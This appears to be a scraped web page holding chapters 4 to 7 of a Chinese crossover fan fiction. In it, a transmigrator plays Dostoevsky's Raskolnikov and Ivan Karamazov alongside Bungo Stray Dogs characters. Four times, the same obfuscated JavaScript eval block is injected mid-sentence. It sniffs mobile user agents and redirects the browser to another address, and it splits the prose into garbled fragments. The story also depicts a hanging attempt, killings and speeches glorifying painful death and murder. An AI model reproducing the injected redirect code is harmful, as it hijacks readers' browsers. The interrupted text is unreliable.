幽幽的语调。太宰治猛然转头,发现罗佳不知何时站到了他身后,仰视着自己。 “五分之四;剩下五分之一会因颈椎断裂变成活死人,像破布一样在空中晃荡。” 少年好似被吓了一跳,双腿夸张地挣动起来,凳子应声翻倒。 绳索骤然绷紧的瞬间,太宰治听见自己喉骨发出危险的咔哒声。他本能地抓住绳圈,双腿在空中踢出滑稽的蛙泳姿势。 “啊……要死了要死……痛……” 罗佳维持着那种旁观者的戏谑:“您就要死了,不高兴么?” “痛……痛……救……” 少年在空中转了一圈,一双手不自觉地伸向唯一的救命稻草,脸被勒得通红,眼中也溢出了生理性泪水。 “咔!” 凭空出现的一把斧头劈断了白绫,在嵌进墙里之前消失了。 少年啪嗒一声掉在地上,躺在原地不停深呼吸,末了还虚弱地埋怨: “罗佳真是好无情呢……我都快痛死了哦,才终于来救我。现在我变成这样——都是你的错啦。” 罗佳站在他身边,面无表情地俯视,似乎在思考要不要往他脸上踩一脚:“别胡搅蛮缠。依我看,痛苦对你来说才是更好的选择吧?” “诶,为什么?我可是最怕痛了。自杀也要找个无痛的方法才好哦。” “不……没有痛苦的死亡根本没有意义,不是么?悄无声息的死去,那么活着和死了好像也没有区别。” 罗佳慢吞吞地说出这些话,也并不在意听话者是否认同: “只有在感受到无边的痛苦后,才算是真正活过;而感受到自己真正活着后,那时的死亡才是有力度的……我不能说我理解了你,但我晓得许多人试图用死亡躲避虚无;但我从不认为,死亡就会是悲剧的终点。” 太宰治捕捉到了某种警告,感觉到了某种朦胧又矛盾的东西,声调也暗下来,呈现出十足的忧郁和平静: “拉斯柯尔尼科夫先生好像个哲学家……不过,我并不认同您的观点。 在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273951|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来,死亡本身就是对存在的确认哦,就像是净化身心的旅行一样,好像自己终于能当下一切,拥抱美丽的平静——那种感觉。” “听起来很像逃避现实。” “随便您怎么说,总之,我是不会改变看法的啦!”太宰治从地板上弹跳起来,“不过,罗佳果然很——有意思!” K心想,当然有意思,我陪你演这么久不就是等这句话吗! 人设完成度,拿来吧你! 系统适时播报:【人设完成度上升,目前马甲1完成度:41%,马甲2完成度:21%】 当然,这只是一个结局还算愉快的例子。 而以少年那恶劣的性子,觉得一个人有意思后,便会锲而不舍地试探他,试图从他身上多榨出点什么来—— 一天中午用餐时间,罗佳用汤匙舀起蔬菜粥,正要往嘴里放。 “哈——”黑发少年突然从他的一侧蹦出来,让他手腕一颤。 瓷勺碰在碗沿发出清脆声响,汁水溅在森鸥外刚换的雪白床单上。 “太宰君,”正在配药的医生幽幽开口,“这周第三次了。” 少年佯装没听见,鸢色眼睛紧盯着病床上的人:“说起来,拉斯柯尔尼科夫先生杀过人吧?” 诊所突然陷入诡异的寂静,罗佳攥着被单的手紧了紧。 “今早送来的《横滨日报》很有趣呢。”太宰治从口袋里掏出一张皱巴巴的报纸,社会版头条赫然印着《再次神秘失踪!刑满释放的囚犯在家中失联》标题。 “已报道失踪的第七个罪犯!据说是连环作案,简直像都市传说里的正义使者——” “正义?”罗佳突然轻笑出声,病态苍白的脸上泛起异样红晕。 “根本用不着如此冠冕堂皇的词。人一直在杀人,过去杀人,现在也杀人。 “只不过,有一些在鲜血中脱引而出的人,有资格成为''超人'',他们可以审判,可以受尊敬,可以统领其他浑浑噩噩的蝼蚁——而现在我们所看到的,不过是通往这条道路的又一次实践而已。” 森鸥外忙碌的动作微不可察地停顿了半拍。 “哦呀?”太宰治的瞳孔微微收缩,“罗佳先生承认自己想成为''超人''咯?” “想吗?”罗佳摇头,“光靠想可是没用的。” “哦,所以罗佳先生已经——” “太宰君!”森鸥外立刻制止,“已经够了。” 罗佳看了他一眼,又看了看自己手里剩下的半碗粥,请求到:“……请问医生这里有一次性的打包盒与塑料袋么?我等会儿要出去散步,但想装着些粥去路上吃。” 森鸥外没有问他为何突然想出去散步,也没问他为什么要装着粥去,只是说到:“……当然是有的。请等一下,我这就去拿。” 拿到东西后,罗佳便慢悠悠地从床上下来,慢悠悠地离开了诊所。 走了大概十分钟后,太宰治才打开藏在口袋中的按钮,佩戴上黑色的监听耳机: “——好了。就让我来听听看吧,这次该死的又是谁?” ————————————————————— 5. Chapter 5.新酒的邀请 K当然知道自己身上被装了窃听器:不止是马甲2,就连马甲1身上也有。 但他没有去管,放任那个声称知晓一切的少年和野心勃勃的地下医生对自己实行“监视”和“利用”。 当然啦,罗佳要是知道这事,必定会愤怒地把监听器踩碎,然后头也不回地离开两人;伊凡则会当面把监听器甩到他们面前,并对这种行为好好进行一番剖析和冷嘲热讽。 因为他们都是如此骄傲的人,摆明了是“不可被利用的”——但这都不是迫切需要人设完成度的K,现在会做的事。 另一边,伊凡仍在继续自己的杂志社工作。 审核完了部分稿件并加以修改润色后,他便开始抽空写自己的诗。 钢笔尖在稿纸上沙沙游走,他添上三五行,又划掉最后一行,俄文字母在红墨水浸染下像凝固的血珠。 不一会儿,当写诗的思路凝滞,他便继续审稿。 但这类工作显然不能让他心情好起来——每当看到那如雪片一般数不尽的投稿,他便觉得自己好像站在茂密的林间,前面都是覆盆子树,然而摘下来一尝,所有果子都是又酸又涩,惹人生厌的。 对别人太过挑剔有时不是好事,痛苦的不仅是他们,还有他自己。 比如这样:“这篇稿子的初审是谁?退回去吧,以后这种没有价值的东西不要放进来。” “语言组织能力像是没上过学。怎么,是要我为他重写一篇么?” “不要把中学生的无病呻吟放进来。” 办公室的空调发出细微嗡鸣,一只毛色鲜亮的三花猫从窗台边跳走,不见了踪影。 痛苦的审稿工作终于告一段落,他去前台拿了一些寄给“目击者”而非伊凡编辑的信件,又去走廊打了一杯咖啡(很苦,难喝得像涮锅水,但目前来说没有办法),坐下来短暂休憩一番。 给他的信件不算多,大概是因为题材;信件来自国内外,各种语言都有,赞誉和反感参半;甚至连明显附庸风雅言之无物的,他都一一看了,并写上回复。 【老师,您太残忍了。】回:【生在世上,便不要期盼毫无来由的温柔。】 【前后矛盾,完全不知所云嘛。像是发病人的胡言乱语。】回:【瞎子倒也不必四处炫耀自己残疾。】 【您的见解实在是深刻,只有我能读懂您的意思!】回:【我相信世界上识字的人还是不少的。】 除此之外,他这次还收到了一些特别的信件。 一张信纸上能闻到些木调香水味: 【您是个剖析人性的哲学家,却不是诗人,您的诗里没有美与激情;但您的痛苦和对自由的渴望,却让我感受到了某种美,这究竟是什么样的力量在作祟?】 这封信的主人也应当是诗人,一个极度渴望自由却不停受困的诗人,伊凡回复到:【您需要承认,理智也可与激情一样迷人,美是无关路径的。】 第二封信的一端有些湿漉漉的,连寄信地址都没有,让伊凡想起了那只猫: 【您将道德否定了,那又该用什么建立新的秩序呢?】 伊凡短暂思考后进行回复:【没有办法。也许不会有什么新秩序,也许混乱才是永恒的。】 第三封来源有些奇怪,信纸像是从某处匆匆扯下的,带着种奇怪的硫磺和花香混合的味道: 【您也觉得宗教大法官这样的腐朽权威应该被消灭吗?这个世界就是地狱本身一般,在所有轮回中都令人绝望,怎么可能会有可笑的救赎?】 伊凡下意识明白这“地狱”可能不是比喻,他回复到:【我拒绝承认天堂,不代表这世界尽是地狱。对个人来说,救赎依旧是可能的,只不过不容易找到。】 还有一封,他特意放在最后。 署名仍然是F·D。 但这次信纸用的不是白桦树皮,他似乎闻到了橄榄叶的一点香气。(这人现在在地中海沿岸,意大利?算了,没有根据的判断) 一点点拆开,这次的信很短,只有短短三行字: 【尊敬的“目击者”先生: “凡灵认耶稣基督是成了肉身来的,必出于神”。* 新酒酿成之时, 我将为您预留盛放启示的杯盏。 您忠诚的朋友:F·D】 “凡灵”一段,出自《约翰一书》第四章第二节,原本是使徒约翰为证实耶稣为上帝之子,并以肉身来到世间而说的,强调了认信的重要性。 但放在此处还有另一重作用:耶稣基督以肉身来到世间,通过自己的牺牲为人类开辟了与上帝和好的道路。而更重要的是,信徒要把这一真理传递出去。 要把那救赎人类、建立地上伊甸园的理念传递出去,甚至不惜毁灭所有“Antichrist”。 那么,谁是将真理传给凡人的使徒约翰?——谁是我们的精神领袖? 伊凡皱了皱眉:是你在邀请我么?即使我是不信灵的无神论者? 他思虑再三,最终还是提笔写下: 【尊敬的“朋友”先生: “你们要谨慎行事,不要像愚昧人,当像智慧人。要爱惜光阴,因为现今的世代邪恶。”* 我的沙漏终将倾至末章。 愿新酒澄澈,但斟杯者终非你我。 您并不存在的同路人:目击者】 (*《以弗所书》5:15-16) 委婉的拒绝,但又想了一个相当冒险的理由——希望能结果能如他所愿。 叹了口气,他摘下几乎没有度数的眼镜,将所有回信一封封包好,捆成一捆寄回去,如愿听到了系统的播报: 【人设完成度上升,目前马甲1完成度:48%,马甲2完成度:26%】 回到座位,眼镜没来得及戴上,只是看了看已经凉了的咖啡,决定先把它倒掉。 然而,刺耳的播报声在此刻突然响起:【人设完成度……上升、上升……马甲2完成度27%……28%……】 他站在原地恍惚了一瞬。 下一刻,感觉身体被狠狠一撞,咖啡“哗啦”一声泼洒出来,浸满了他脸与白色衬衫。 耳边立刻传来道歉声:“对不起!真的非常非常对不起!卡拉马佐夫前辈!对不起,我真的不是故意……” 这道歉声逐渐弱下去,颤抖得近乎崩溃了。 伊凡面无表情地凝视前方,深褐色液体从他鸦羽一样的睫毛上一滴滴下坠,有些则从唇边一路滑到脖颈,在本就薄的衬衫上晕染开来。 随着呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273952|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸的一起一伏,内部的暧昧光景也似有似无。 许多或隐秘或明目张胆的视线锁在他身上,触及到某些地方时则迅速移开。 但K呢? 他实际上还在神游——除了操控另一个马甲的动作外,甚至还有心思回想一些小说片段: 似乎是契诃夫短篇,里面有个小职员因为不小心将唾沫喷到将军身上,然后郁郁而死。 等他回过神来,看向眼前的“罪魁祸首”:一个瘦小的男人,看不出年龄,似乎职位也不高——已经快被吓傻了,K十分怀疑对方下一秒甚至能吓出点汗之外的东西来。 伊凡有这么可怕么? 他冷静地开口:“行了,别挡着我去洗手间的路。” “诶?”男人的脸滑稽地呆滞了,周围的人也暗暗松了口气;但也有失望叹气的。“没,没事了么?” “无所谓。你走吧。”——当然不是原谅,也不是真觉得不羞耻,只是发怒没有任何用处,还会平白让人看笑话。 伊凡甩开众人视线,进了洗手间。 冷水龙头开到最大,经过一番冲刷,镜子里黑发凌乱地黏在额角,在白皙的脸颊上好似水墨氤氲;深灰色的双眼在也被水洗得湿漉漉的。 下意识地伸手触碰镜中的那张脸,他突然感到某种不真实。 我为什么在这里?为什么在意这一切? 他想起了窃听器,心中突然冒出一个念头:也许这样做会比较有趣。 伊凡的眼睛突然空洞起来。 …… 一个小时后,伊凡·卡拉马佐夫向上司告了病假——这是他工作以来的首次——立刻得到了批准。 于是,他穿着半干不干的衬衫,面无表情地收拾好东西,在离正式下班还有两小时左右的时间,驾车回了家。 ……而系统,目睹了刚才发生的一切的系统:看不懂,但我大受震撼。 原本每个马甲人设完整度的50%大关是最难突破的,但经过刚才那番操作之后,伊凡的人设完整度已经生生被拔高到了58%。 它都能想象到太宰治在监听完那边马甲2后,心血来潮又连上了这边的监听器。然而听到这边的动静后,笑容突然凝固的样子了。 系统有些抓狂:经过这通逆天表演后,宿主你的人设完整度和精神力阀值是提高了,但谁来赔偿我们这些旁观者的精神损失啊! 它现在只要闭上眼就能回忆起,也可能统生一辈子都忘不掉了。 应该庆幸它提前屏蔽了这片洗手间吗?不然——洗手间都市传说什么的不要啊! 话是这么说,但它还是任劳任怨地录下了全程,但剪掉了一些实在不能播的画面。 到时候再播吧。我要让观众跟我一起受苦! 天真的系统当然不会想到,后来的观众也许的确是受苦了,但他们觉得更苦的必定是:不能爬到屏幕的另一边看现场! 现在更重要的另一点是,经过两个月的努力和刚才的临门一脚,K的精神力阀值已经成功到达25%,可以解锁第3个马甲了。 但系统牢记着宿主的威胁,而且现在的它是真不敢招惹宿主,因此也把消息暂时压了下来。 ———————————————————— 6. Chapter 6.孩童的泪水 K当然不知道系统怎么想的,他只是按计划下班回家了。 然而,当伊凡拿起钥匙开锁时,却敏锐地听见家中一阵不同寻常的动静,瞬间警惕起来。 他推开门,窗帘紧闭着,室内有些昏暗。 有一股潮湿的血腥气,客厅里传来窸窣响动;厨房里的似乎有正在烧水的咕咚咕咚声——不是罗佳,他不在。 “谁?”他轻声问,右手已握住风衣内袋的折叠刀,反锁了大门。 他向前走,依稀可以辨认出沙发上蜷着两团黑影,黑暗中浮起一团暗黑色发红光的物体、像触手一样——什么东西? “什么东西?为什么到我家来?”伊凡皱眉,声音阴冷又沉稳。 那团黑色触手凝滞了一下,又迟疑地收了回去,聚集在黑影周围。 伊凡走近窗边,猛得拉开窗帘,光照进来的一刹那——两团黑影从沙发上弹起。 ——两个孩子。 黑发少年将更瘦小的女孩护在身后,褴褛衣襟下肋骨根根分明,却像头炸毛的幼狼般龇出尖牙;银灰色发丝从女孩脏污的兜帽里漏出来,右眼缠着渗血的绷带。 他们周围,一团破布触手一样的东西正蠢蠢欲动。 异能者?伊凡放下了刀。 “你们是怎么进来的?谁派你们来的?”他冷冰冰地质问着,“擅闯私宅也是大罪,你们不会不知道吧?” 两人警惕地望着他,没有回话。 这时候,男孩突然忍不住了似的,剧烈咳嗽起来,那架势好像要把肺都从胸腔里咳出来;那团黑触手晃动了一下,消失不见了。 女孩立刻抱住他,瘦小的手臂挡在他与伊凡之间:“对不起,我们不知道这房子是您的!但我哥哥生病了,求您别伤害哥哥!” “凭什么?”伊凡积攒的怒火正在上涌,“我是做慈善的吗?喜欢四处收留流浪儿?” 瘦弱的男孩使劲摇头,他好似没有多少力气了,却拼命把他的妹妹护在怀中,身体颤颤巍巍,眼神却好似一只野犬。 伊凡一步步向他们走进,表情并无变化,周身的空气却好像骤然冷了,压得人喘不过气来。 厨房里的水烧开了,发出如刺耳的尖叫。 在这可怖的交响里,娇小的女孩预感到自己与哥哥即将会有的命运,只能狠狠抱住自己最后的亲人。 她的眼睛逐渐生出泪水: 那是从希望突然掉落到绝望的眼泪;是为自己与可爱可怜的兄弟的不幸,也终于要从这个世界上结束的眼泪。 其中有一滴最快盈满了,顺着脸颊坠落下来。 这滴泪落得很慢,很慢。 伊凡的视线不自觉地被它吸引,追随它一起落地,宛若一个永远凝固的电影镜头。 这滴泪发挥了不可思议的功效,令他发热的头脑突然冷却下来: 您在做什么啊,伊凡·卡拉马佐夫?经历了这么一遭,连自己过去的箴言也忘了吗? ——一滴泪珠的价值足以摧毁所有天堂!* 孩童可称为这世界上最纯洁无辜的东西,也是最能代表苦难之可悲的东西。 若上帝允许他们无辜受难、流血流泪,那么天堂就永远是虚妄。 既然天堂不存在,那么谴责上帝也没有意义;最应该谴责的该是那些不负责任的成年人,该是那些让他们痛苦流泪的、具体的人! 这不是您亲口说过的吗?——所以,您在愤怒什么,高高在上地质疑着什么? 于是,空气中那无形的压力消散了。 他绷紧的神经一点点放松,表情不再咄咄逼人。 他开口说话,语气刻意软化、充满真诚:“抱歉,是我冲动了。不需要害怕……我只是突然见到家里有了客人,心下震惊而已。” 这时候,所有人终于听到了楼上传来的响动。 一个人乒乒乓乓、跌跌撞撞地从上面冲下,非常坚定地站在了两个孩子身边,手里还提着一个医药箱。 ——好似一个守护者。 伊凡默默望着这个人的脸,笑了: 【看啊,罗季昂·罗曼诺维奇,现在是谁在扮演基督?】 他示意罗佳把医药箱放下,向两个可怜孩子说:“自己会涂药包扎么?……好。厨房的冰箱开右边,里面还有面包和牛奶。你们自己拿着,垫垫肚子。” 然后,又转向罗佳,神色平静:“先把水壶关了,然后去书房。我们需要谈谈。” …… 芥川龙之介从不认为自己是个好运的人。 自记事起,擂钵街的风便裹着铁锈与腐臭灌进肺里,把他的肺部和肋骨当作锈蚀的琴,时不时地咳出悲苦的旋律。 但他对此并无什么特别的感觉。 也许有人认为,他心里会有怨恨、不甘、嫉妒、甚至不知往何处冲去的愤怒——为什么会沦落在这种地方?为什么我们就要卑贱,连活下去都显得如此困难,需要拼尽全身力气? 但这不是真的,他并没有与人类如此相像的情感:左胸处的那个地方似乎诞生以来就是空空荡荡的,只装着一个维持生命的器皿。 他不在乎暴力、不在乎温暖,被虐待、侮辱,也不会引起什么特殊的反应。 他是游荡在这片土地上的一条野狗,天生就有不会笑也不会哭的残疾,没有表情,也没有声音—— 成天只会打斗,只在无尽的沉默里泄露出一点嘶哑呜咽,从所有敌人和觊觎者身上咬下一块块肉。 可他毕竟不是泥做的土偶,那种木讷呆滞的东西;野狗令人恐惧,因为他也有在守护的东西。 他有一个妹妹,名字叫芥川银;也有八个同伴,许多人都没有名字,只有外号。 有这样一些人在他身边,妹妹有着这样生着病的哥哥,他们所有人都不得不生活在这种冰冷地方。 幸运吗?不幸吗? 他说不清楚。 但他清楚的是:纠结这种东西毫无必要,比起自怨自艾的思考,他更需要为妹妹和同伴们带来更多面包。 某年,天冷得要死,雪似乎很大很大,把一切都变成白色。 一个雪夜,妹妹蜷在漏风的铁皮棚下,高烧得像块火炭;他们已经很久没有吃东西了。 他攥着半块面包,从垃圾堆里翻出来的,又黑又硬——却被一群目露凶光的男人堵在巷尾。 当反抗失败,拳脚落在腰腹时,他感受到疼痛,却难以生起愤怒或不甘的情绪,只是把食物紧紧攥在怀里,瞪着一双眼睛看向所有人。 然后,不知为何的,他突然想到了死。 或许可以说,他一遍遍地想起死。 也许死是一种更快的方法。因为活着如此艰难,又没有意义,那为什么不去死呢? 但只要他还有办法,他不会选择死的。野狗挣扎着活在世间,努力生长,宁愿痛苦、饥饿、流浪,也不会选择死亡。 况且,他还有银,还有同伴。 但要想活下去,现在的他需要力量!这种突如其来的渴望啃噬着他的骨头,在他的胸腔里挤得鼓鼓囊囊。 也许有什么东西听见并回应了他的呼唤。充盈的胸腔好像突然一下子敞开,装填了某种力量—— 强大的、黑色的力量。 衣摆化作獠牙刺穿一个人的咽喉时,温热血浆溅在雪地上,竟然有点像花。 男人们惊惶的瞳孔里,倒映着一个幼小的、瘦骨嶙峋的怪物——那怪物长着一张芥川龙之介的脸。 擂钵街的法则向来直白:要么吞人,要么被吞。 因此,他没时间在乎自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273953|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己刚才是不是杀了人,也没有想过这是什么罪。 他只知道,那天他终于保住了自己的面包,挽救了妹妹的性命;也拥有了新的力量,能够让他变得强大的力量。 这种力量名叫—— “罗生门。” 他们的日子好过了一些,但仅仅是一些而已:罗生门是种相当桀骜不驯的能力,不总是听他的话,时常在该灵的时候不灵。然后,他又免不了被打一顿的命运。 一天又一天过去,痛苦仍是永无止境的。 只要呆在此地,他如附骨之蛆般的咳嗽与疾病便永远不会得到治愈。 在这样的日子里,同伴们经常幻想过擂钵街之外的世界是怎样:是不是有宽敞舒适的房子,永远吃不完的水和食物? 他们是不是可以识字,可以肆无忌惮地读书,还能穿上漂亮的衣服? 然而,芥川龙之介没有幻想。 野狗是没有幻想的。所以他不会幻想健康快乐的妹妹,不会想要有一间属于自己的房子,更不会奢求有一份能赚钱养活自己和妹妹的工作——他对那种幸福和幸运没有概念。 但无心的怪物也会有想要的东西—— 他想要一颗心。 有一颗心,他是不是就会哭会笑,是不是生存就可以变成生活,是不是就能获得幸福? 有一颗心,他是不是就可以变成真正的人类? 可为什么呢?他想要的似乎永远都得不到。 现实是:芥川刚刚又操纵着罗生门,扎穿了几个来抢地盘的人的喉咙。 血腥气灌进他的鼻子,令他突然剧烈地干呕起来。粘稠的黑暗从喉管倒流,混着胆汁与难以消化的食物残渣。 好恶心,好难受。 ——他既没法拥有一颗心,也没法让妹妹不再哭泣。 而且,直到有一天,他赖以生存的力量——“罗生门”甚至引来了更可怕的敌人。 他也听说过,最近黑手党和罪犯们失踪的消息,闹得沸沸扬扬。许多人都说失踪者必定已经死了,而且应该是同一个人杀的。 但没有人能找到证据,那些人就是凭空消失了。 于是,有人又说:“肯定是异能者干的。” 拥有罗生门的芥川龙之介也是异能者,而且罗生门似乎能够吞噬人,很符合犯人的特点。 那些人疯了,不论是亡命之徒还是黑手党成员,他们都想要找到一个凶手,用来换悬赏或者向上级交差。 他们不会在意这个“凶手”是不是只是个不满十四岁的孩子。 芥川龙之介被追杀,他保护同伴,同伴却一个个死亡。 他只剩下妹妹了,来不及难过,只好带着妹妹不停躲躲藏藏。 直到有一天,当罗生门再次失灵,他们就要丧生在黑手党罪恶的枪下时,有一个人出现了—— 一个斯拉夫人,非常年轻,看起来瘦弱。 却挥舞着一把锋利的斧头,穿梭在人群中间,好像在跳死亡芭蕾,不到一刻就干掉了所有人。 事情结束了。在月亮底下,青年回头看见他们,脸上露出惊奇的表情。 ——在下水道边突然看见洁白的花朵,随手撒下去的种子突然变成沉甸甸的麦穗的,那种惊奇。 “真美啊……”青年说。 芥川银从她哥哥怀里露出一张脸,羞怯地说:“先生……您也很美。” 突然而然的,龙之介感受到某种磅礴的、激荡的情绪——它化作另一样滚烫的东西,从他眼眶中汩汩流出。 他尝到了眼泪的味道。 生存的智慧本应让他警惕,但他一点点站起来,前进,紧紧握住了青年的手。 命运的齿轮开始转动。 ——————————————————— 7. Chapter 7.可怜人与可怜人 芥川龙之介握住了青年的手。 青年没有甩开,只是眨了眨琥珀色的眸子,说了句诡异的话:“……我没有外套给你穿。” 因为现在这场景即视感太强,K实在忍不住抛了个原作梗,为此受到了【马甲2人设完整度下降2%】的提醒,被系统默认惩罚机制电了一下。 电流顺着脊椎直冲而下,他的手不自觉一抽搐。 男孩不知道他的意思,以为他想要松开,于是攥得更用力了,眼泪啪嗒啪嗒往下掉。 “松手。”青年皱眉,“我暂时不会走。” 芥川缓缓放开,可又想要说些什么来留下对方。 于是,拼命从喉咙深处挤出嘶哑的声音:“您是怎么杀死他们的?……请教教我。” 青年微微撇了眉:“我没法教别人,这是自然而然的事。” 没等他回答,青年又加上:“先不提这个,你能别哭了吗?” 男孩这才意识到眼泪并没有止住——可他从来都没有流过泪,又怎么知道该如何停止流泪呢?初现的泪水似刚从石缝里冲出的泉,带着种叛逆的汹涌。 青年似乎有些窘迫。 他呆愣在原地一会儿,又像恍然大悟了似的开始掏起自己身上的口袋,直到摸出一大堆沾了血的纸钞来。 他把纸钞一股脑塞进男孩怀里,说:“我就剩这些了……” 芥川看着怀里的一大堆钱,也愣住了,苍白的脸上弥漫着红,好似被羞辱了一般。 “您是把在下当乞丐么?” 青年没料到他的反应,再次露出了惊奇的表情:“可是,您不要这个,又想从我身上得到什么呢?我别的什么都没有了呀……” “有的!我想知道,您为什么如此强大!”男孩努力地大声说,把怀里的钱塞还给对方,“在下需要力量,需要复仇!” “强大?复仇?”青年喃喃地说,“您努力活着,想要的就是这些吗?” 这是一种考验么? 芥川突然觉得自己无法回答——一遍又一遍地思考,总是在厌恶、总是在战斗,但没有心的人,并不知道自己活着的意义是什么。 “我不知道……在下并没有想要追寻的事物,也不知道生存是为了什么。” 他只是机械地、日复一日地在这个深渊一样的地方挣扎着、前进着,几乎把它当作一种责任。 青年思考了一下,告诉他:“这倒也没什么,要是意义这么好找的话,这人间也会少许多挣扎的人……总之,我活着是为了证明''超凡者''的存在,更接近本质一点的话——其实是为了证明现在的我配得上我曾受过的苦难。” 男孩突然像得到了某种启示,黑色的眼睛里映着希冀: ——“那么,您能赋予我吗,生存的意义?” “不行。”青年的回答斩钉截铁,琥珀色的眼睛冷若冰霜。 男孩眼里的光芒熄灭了。 “我这样说并非是唾弃您。”青年说出未尽的话语,“我只是想告诉你:我不是您的导师,也不是什么救世主,我的道理除了我自己,对其他人都没有意义。 “生存的意义要从自己的身体里长出来,从自己的血里流出来,您明白么?” 芥川并不是很明白,因为他已经在这世上游荡了许多年了,可他并没有找到。 会一直这样下去么? 他是这么想的,也是这么问的。 青年很平静地回答他:“这是极有可能的,但不必太过担心它。意义本也不是什么一成不变的东西,活着本身已经足够艰苦,就不要多想什么了。” “可是……找不到的话,不会很痛苦么?” “您怎知道就一定找不到呢?”青年似乎不太理解他的执念,“真是的,您看起来连十二岁都没到呢,我干嘛要和您说这些……” “在下就要十四岁了。”男孩一直计算着时间。 青年哑了一下,眉头皱得很紧。 ……还是个小孩呢。 他的心里涌上一点不同寻常的情绪,问出了口:“您识字吗?” 芥川龙之介没有说话,银替他回答:“哥哥很聪明,认识很多很多字;但我会得没有哥哥多。” 在他们更小一点的时候,一个好心的中年妇女曾教过他们识字;但由于一些无需惊讶的原因,这些识字课只持续了一个月便结束了。 青年想到了一个折中的办法: “我不是导师,但我可以教您认几个字。等您能够流畅地读完几本书后,再来讨论关于生存价值的问题吧。” 然后,他看了看仍静躺在原地的那些尸体,说:“现在,我们应该去找个新住处。” 那个晚上,斯拉夫青年带着两个小孩离开了擂钵街,带他们走了许久,来到了一间简陋但结实的屋子。 芥川不知道这间屋子是谁的,总之,他们离开了那个深渊一样的地方,过去的一切仿佛都能抛在身后。 他们有新家了。还有一个不允许他们叫他“老师”的老师。 但他从没有忘记复仇,那痛苦的几个夜晚并没有随眼泪一起流走,反而使心中的不甘与憎恨越来越强烈。 那些杀死同伴的黑手党,还有那些为了钱财不顾一切的人;他迟早会让他们得到应有的报偿。 “罗佳·拉斯柯尔尼科夫”,这是救了他们的青年的名字,他们叫他罗佳先生。 先生让他们减少出门时间,他每隔两三天就会带着水、食物,还有识字书、白纸、笔一类的东西来到这里。 他似乎没有确定的工作,也不知道钱财是从哪里来的;只知道他有时候很累,显现出一副对什么都很厌倦的样子,甚至会突然发起高烧,但仍然坚持着来他们这里。 在他的教导下,两个聪慧的孩子像海绵一样飞快地汲取知识。 罗佳先生至少会三种语言,所以他不止教他们日文,有时还有俄文、德文——有点困难,但芥川龙之介非常、非常喜欢。 他最喜欢的是先生用德文读给他们听的一句话: “谁终将声震人间,必长久深自缄默; 谁终将点燃闪电,必长久如云漂泊。*” 他也想做那样的人:能够“声震人间、点燃闪电”的人。 短短两个月,他空空荡荡的左胸处好像被各种各样的东西填满了,既有最初的憎恨与愤怒,见过悲伤,也品尝过获得知识的欣喜与满足。 这就是生活么? 他满怀期待地等待着先生的下一次到来,他认为自己或许已经找到了一点答案。 但在约好的那天下午,先生并没有来。 也许是有事耽搁了,他们等着——但直到前几次拿来的物资已经用完,先生依然没有来。 在银担忧的注视下,他们决定出去找到先生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273954|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 这一天,太宰治并没有在监听器里收集到罗佳杀人的证据。 因为他并不是去杀人的,而是去救人的。 很奇怪吗?他这样摒弃道德和正义的人,怎么会去救人? ——当然奇怪。所以当他带着两个在外游荡了三天、坚持要找到他的小孩,回到伊凡与他目前的住处时,几乎每一秒都在后悔。 他早就开始后悔了,被拉住手没甩开时就在后悔,和对方对话时也在后悔,更不用说后来把自己隐蔽的安全屋给他们住,还锲而不舍教他们识字读书的时候,更是后悔得不能再悔了。 因为这种事情忙得不行,忘记了吃饭,导致低血糖倒在家里,还不得不请伊凡屈尊帮忙——简直是个自虐狂。 你连自己都养活不了,还在乎别人活不活得下去么? 但他仍然坚持要去,一边说着“不想再要这种痛苦”了,一边又赶着趟凑上去,末了还拉不下脸来拒绝。 为什么?明明第一次只是为跟踪一队黑手党去的。 他知道这群人在调查真凶,却没想到他们能卑劣到这种程度,但还是晚了一步,只救下了最后的那一对兄妹。 所以,救助他们,只是在赎我过去犯下的罪。 我并不善良,只是愧疚而已。 